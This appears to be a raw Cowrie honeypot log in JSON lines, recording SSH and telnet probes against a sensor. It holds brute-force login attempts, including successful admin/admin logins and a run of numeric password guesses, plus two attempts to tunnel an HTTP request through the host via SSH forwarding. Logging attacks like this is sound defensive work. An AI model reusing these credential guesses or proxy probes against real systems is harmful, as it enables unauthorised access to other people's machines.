{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:43.622170Z","src_ip":"45.148.10.121","session":"d3ef27205e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:43.708245Z","src_ip":"45.148.10.121","session":"d3ef27205e06","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:43.966858Z","src_ip":"45.148.10.121","session":"d3ef27205e06","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.054679Z","session":"d3ef27205e06","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.142655Z","src_ip":"45.148.10.121","session":"d3ef27205e06","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.146408Z","src_ip":"45.148.10.121","session":"d3ef27205e06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.235536Z","src_ip":"45.148.10.121","session":"d3ef27205e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":46226,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ee518a0f87b","protocol":"ssh","message":"New connection: 45.148.10.121:46226 (159.203.135.109:22) [session: 7ee518a0f87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.320127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.327914Z","src_ip":"45.148.10.121","session":"7ee518a0f87b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.415706Z","src_ip":"45.148.10.121","session":"7ee518a0f87b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.678667Z","src_ip":"45.148.10.121","session":"7ee518a0f87b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.770700Z","session":"7ee518a0f87b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.864783Z","src_ip":"45.148.10.121","session":"7ee518a0f87b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.869710Z","src_ip":"45.148.10.121","session":"7ee518a0f87b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:44.960765Z","src_ip":"45.148.10.121","session":"7ee518a0f87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40490,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee8b67c2c956","protocol":"telnet","message":"New connection: 174.138.46.234:40490 (159.203.135.109:23) [session: ee8b67c2c956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:55.301644Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40726,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c32858b2131","protocol":"telnet","message":"New connection: 174.138.46.234:40726 (159.203.135.109:23) [session: 2c32858b2131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:56.226211Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41026,"dst_ip":"159.203.135.109","dst_port":23,"session":"f02e2f4cc3e5","protocol":"telnet","message":"New connection: 174.138.46.234:41026 (159.203.135.109:23) [session: f02e2f4cc3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:58.246721Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40700,"dst_ip":"159.203.135.109","dst_port":23,"session":"15fe6fbba03a","protocol":"telnet","message":"New connection: 174.138.46.234:40700 (159.203.135.109:23) [session: 15fe6fbba03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:05:59.069801Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41272,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0baf2ea9f39","protocol":"telnet","message":"New connection: 174.138.46.234:41272 (159.203.135.109:23) [session: c0baf2ea9f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:06:00.988027Z"}
{"eventid":"cowrie.session.closed","duration":5.958510637283325,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:06:01.260018Z","src_ip":"174.138.46.234","session":"ee8b67c2c956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9653418064117432,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:06:01.953250Z","src_ip":"174.138.46.234","session":"c0baf2ea9f39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.74218797683716,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:06:15.064706Z","src_ip":"174.138.46.234","session":"1830569970ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.49619960784912,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:06:44.565881Z","src_ip":"174.138.46.234","session":"15fe6fbba03a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.41658067703247,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:06:45.642667Z","src_ip":"174.138.46.234","session":"2c32858b2131","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.2489013671875,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:06:50.495522Z","src_ip":"174.138.46.234","session":"f02e2f4cc3e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39530,"dst_ip":"159.203.135.109","dst_port":23,"session":"34ecb9c0f483","protocol":"telnet","message":"New connection: 174.138.46.234:39530 (159.203.135.109:23) [session: 34ecb9c0f483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:28.284310Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39550,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cb03d23a8f0","protocol":"telnet","message":"New connection: 174.138.46.234:39550 (159.203.135.109:23) [session: 2cb03d23a8f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:28.383055Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39638,"dst_ip":"159.203.135.109","dst_port":23,"session":"5873844ceb12","protocol":"telnet","message":"New connection: 174.138.46.234:39638 (159.203.135.109:23) [session: 5873844ceb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:28.606402Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39818,"dst_ip":"159.203.135.109","dst_port":23,"session":"883e113714de","protocol":"telnet","message":"New connection: 174.138.46.234:39818 (159.203.135.109:23) [session: 883e113714de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:29.172364Z"}
{"eventid":"cowrie.session.closed","duration":5.899305582046509,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:34.282283Z","src_ip":"174.138.46.234","session":"2cb03d23a8f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.980339527130127,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:34.586644Z","src_ip":"174.138.46.234","session":"5873844ceb12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.913963794708252,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:35.086220Z","src_ip":"174.138.46.234","session":"883e113714de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.9196672439575195,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:36.203779Z","src_ip":"174.138.46.234","session":"34ecb9c0f483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":53252,"dst_ip":"159.203.135.109","dst_port":22,"session":"275467fc2067","protocol":"ssh","message":"New connection: 2.57.121.112:53252 (159.203.135.109:22) [session: 275467fc2067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:47.789461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:47.794134Z","src_ip":"2.57.121.112","session":"275467fc2067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:47.899738Z","src_ip":"2.57.121.112","session":"275467fc2067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15071968","message":"login attempt [admin/15071968] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:48.395615Z","src_ip":"2.57.121.112","session":"275467fc2067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"150694","message":"login attempt [admin/150694] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:49.504075Z","src_ip":"2.57.121.112","session":"275467fc2067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"150679","message":"login attempt [admin/150679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:50.615909Z","src_ip":"2.57.121.112","session":"275467fc2067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1506","message":"login attempt [admin/1506] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:51.724895Z","src_ip":"2.57.121.112","session":"275467fc2067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"150578","message":"login attempt [admin/150578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:52.833788Z","src_ip":"2.57.121.112","session":"275467fc2067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:07:53.941451Z","src_ip":"2.57.121.112","session":"275467fc2067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53388,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d57de5630aa","protocol":"telnet","message":"New connection: 174.138.46.234:53388 (159.203.135.109:23) [session: 1d57de5630aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:08:13.608655Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53270,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e43dff7d59b","protocol":"telnet","message":"New connection: 174.138.46.234:53270 (159.203.135.109:23) [session: 4e43dff7d59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:08:14.237650Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53700,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c1cf0c3b82c","protocol":"telnet","message":"New connection: 174.138.46.234:53700 (159.203.135.109:23) [session: 5c1cf0c3b82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:08:14.672731Z"}
{"eventid":"cowrie.session.closed","duration":5.994311094284058,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:08:20.666927Z","src_ip":"174.138.46.234","session":"5c1cf0c3b82c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33582,"dst_ip":"159.203.135.109","dst_port":23,"session":"5548f4cd6264","protocol":"telnet","message":"New connection: 174.138.46.234:33582 (159.203.135.109:23) [session: 5548f4cd6264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:08:41.371344Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33454,"dst_ip":"159.203.135.109","dst_port":23,"session":"7491d3dcf079","protocol":"telnet","message":"New connection: 174.138.46.234:33454 (159.203.135.109:23) [session: 7491d3dcf079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:08:41.972083Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33690,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef346896ed38","protocol":"telnet","message":"New connection: 174.138.46.234:33690 (159.203.135.109:23) [session: ef346896ed38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:08:44.744217Z"}
{"eventid":"cowrie.session.closed","duration":1.981203556060791,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:08:46.725280Z","src_ip":"174.138.46.234","session":"ef346896ed38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35434,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd2766ff588","protocol":"telnet","message":"New connection: 174.138.46.234:35434 (159.203.135.109:23) [session: cdd2766ff588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:08:47.232626Z"}
{"eventid":"cowrie.session.closed","duration":5.953309535980225,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:08:53.185839Z","src_ip":"174.138.46.234","session":"cdd2766ff588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37660,"dst_ip":"159.203.135.109","dst_port":23,"session":"45560d82ef2f","protocol":"telnet","message":"New connection: 174.138.46.234:37660 (159.203.135.109:23) [session: 45560d82ef2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:08:57.312650Z"}
{"eventid":"cowrie.session.closed","duration":3.734441041946411,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:09:01.046962Z","src_ip":"174.138.46.234","session":"45560d82ef2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.21448516845703,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:09:06.822997Z","src_ip":"174.138.46.234","session":"1d57de5630aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.159.79.14","src_port":34072,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcca32e026c1","protocol":"telnet","message":"New connection: 104.159.79.14:34072 (10.17.0.5:23) [session: bcca32e026c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:09:07.523819Z"}
{"eventid":"cowrie.session.closed","duration":57.527082204818726,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:09:11.764601Z","src_ip":"174.138.46.234","session":"4e43dff7d59b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43732,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce15d11515a1","protocol":"telnet","message":"New connection: 174.138.46.234:43732 (159.203.135.109:23) [session: ce15d11515a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:09:14.360582Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43868,"dst_ip":"159.203.135.109","dst_port":23,"session":"f996ccb14800","protocol":"telnet","message":"New connection: 174.138.46.234:43868 (159.203.135.109:23) [session: f996ccb14800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:09:14.846816Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43918,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f695cedd2c5","protocol":"telnet","message":"New connection: 174.138.46.234:43918 (159.203.135.109:23) [session: 0f695cedd2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:09:15.049754Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44086,"dst_ip":"159.203.135.109","dst_port":23,"session":"47bd81f34995","protocol":"telnet","message":"New connection: 174.138.46.234:44086 (159.203.135.109:23) [session: 47bd81f34995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:09:16.596856Z"}
{"eventid":"cowrie.session.closed","duration":5.099836349487305,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:09:21.696565Z","src_ip":"174.138.46.234","session":"47bd81f34995","protocol":"telnet"}
